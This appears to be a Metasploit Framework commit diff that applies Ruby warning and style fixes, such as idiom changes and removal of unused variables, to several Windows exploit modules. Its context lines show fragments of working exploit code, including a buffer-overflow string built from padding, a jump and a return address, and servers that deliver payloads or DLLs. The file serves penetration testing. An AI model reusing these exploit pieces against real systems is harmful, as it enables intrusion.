Land rapid7#3348, some Ruby warning fixes

Author: wvu

modules/exploits/windows/firewall/blackice_pam_icq.rb

@@ -34,7 +34,7 @@ def initialize(info = {})
         ],
       'Payload'        =>
         {
-          'Space'           => 504 -31 -4,
+          'Space'           => 504-31-4,
           'BadChars'        => "\x00",
           'MinNops'         => 0,
           'MaxNops'         => 0,

modules/exploits/windows/misc/eureka_mail_err.rb

@@ -65,7 +65,7 @@ def initialize(info = {})
   end
 
   def on_client_connect(client)
-    return if ((p = regenerate_payload(client)) == nil)
+    return unless regenerate_payload(client)
 
     # the offset to eip depends on the local ip address string length...
     already = "Your POP3 server had a problem.\n"

modules/exploits/windows/misc/fb_svc_attach.rb

@@ -70,12 +70,6 @@ def exploit_target(target)
 
       connect
 
-      # Attach database
-      op_attach = 19
-
-      # Create database
-      op_create = 20
-
       # Service attach
       op_service_attach = 82
 

modules/exploits/windows/misc/ib_svc_attach.rb

@@ -115,12 +115,6 @@ def exploit_target(target)
 
       connect
 
-      # Attach database
-      op_attach = 19
-
-      # Create database
-      op_create = 20
-
       # Service attach
       op_service_attach = 82
 

modules/exploits/windows/misc/ibm_director_cim_dllinject.rb

@@ -85,8 +85,8 @@ def on_request_uri(cli, request)
     end
 
     # If there is no subdirectory in the request, we need to redirect.
-    if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
-      if (request.uri == '/')
+    if request.uri == '/' || request.uri !~ /\/[^\/]+\//
+      if request.uri == '/'
         subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
       else
         subdir = request.uri + '/'
@@ -128,7 +128,7 @@ def process_get(cli, request, target)
     # dispatch based on extension
     if (request.uri =~ /\.dll$/i)
       print_status("Sending DLL")
-      return if ((p = regenerate_payload(cli)) == nil)
+      return unless regenerate_payload(cli)
       dll_payload = generate_payload_dll
       send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
     else

modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb

@@ -97,7 +97,7 @@ def extract_port(buf)
       print_error("Insufficient data from CAD service.")
       return nil
     end
-    rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
+    data[24,port_str_len].unpack('n*').pack('C*').to_i
   end
 
 

modules/exploits/windows/misc/mirc_privmsg_server.rb

@@ -59,7 +59,7 @@ def initialize(info = {})
   end
 
   def on_client_connect(client)
-    return if ((p = regenerate_payload(client)) == nil)
+    return unless regenerate_payload(client)
     print_status("Client connected! Sending payload...")
     buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n"
     client.put(buffer)

modules/exploits/windows/misc/poppeeper_date.rb

@@ -60,7 +60,7 @@ def on_client_connect(client)
   end
 
   def on_client_data(client)
-    return if ((p = regenerate_payload(client)) == nil)
+    return unless regenerate_payload(client)
 
     ok = "+OK\r\n"
     client.put(ok)

modules/exploits/windows/misc/talkative_response.rb

@@ -57,7 +57,7 @@ def on_client_connect(client)
   end
 
   def on_client_data(client)
-    return if ((p = regenerate_payload(client)) == nil)
+    return unless regenerate_payload(client)
 
     sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
     sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded

modules/exploits/windows/misc/wireshark_lua.rb

@@ -128,9 +128,6 @@ def process_propfind(cli, request)
     vprint_status("Received WebDAV PROPFIND request: #{path}")
     body = ''
 
-    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
-    my_uri    = "http://#{my_host}/"
-
     if path !~ /\/$/
       if path.index(".")
         print_status("Sending 404 for #{path} ...")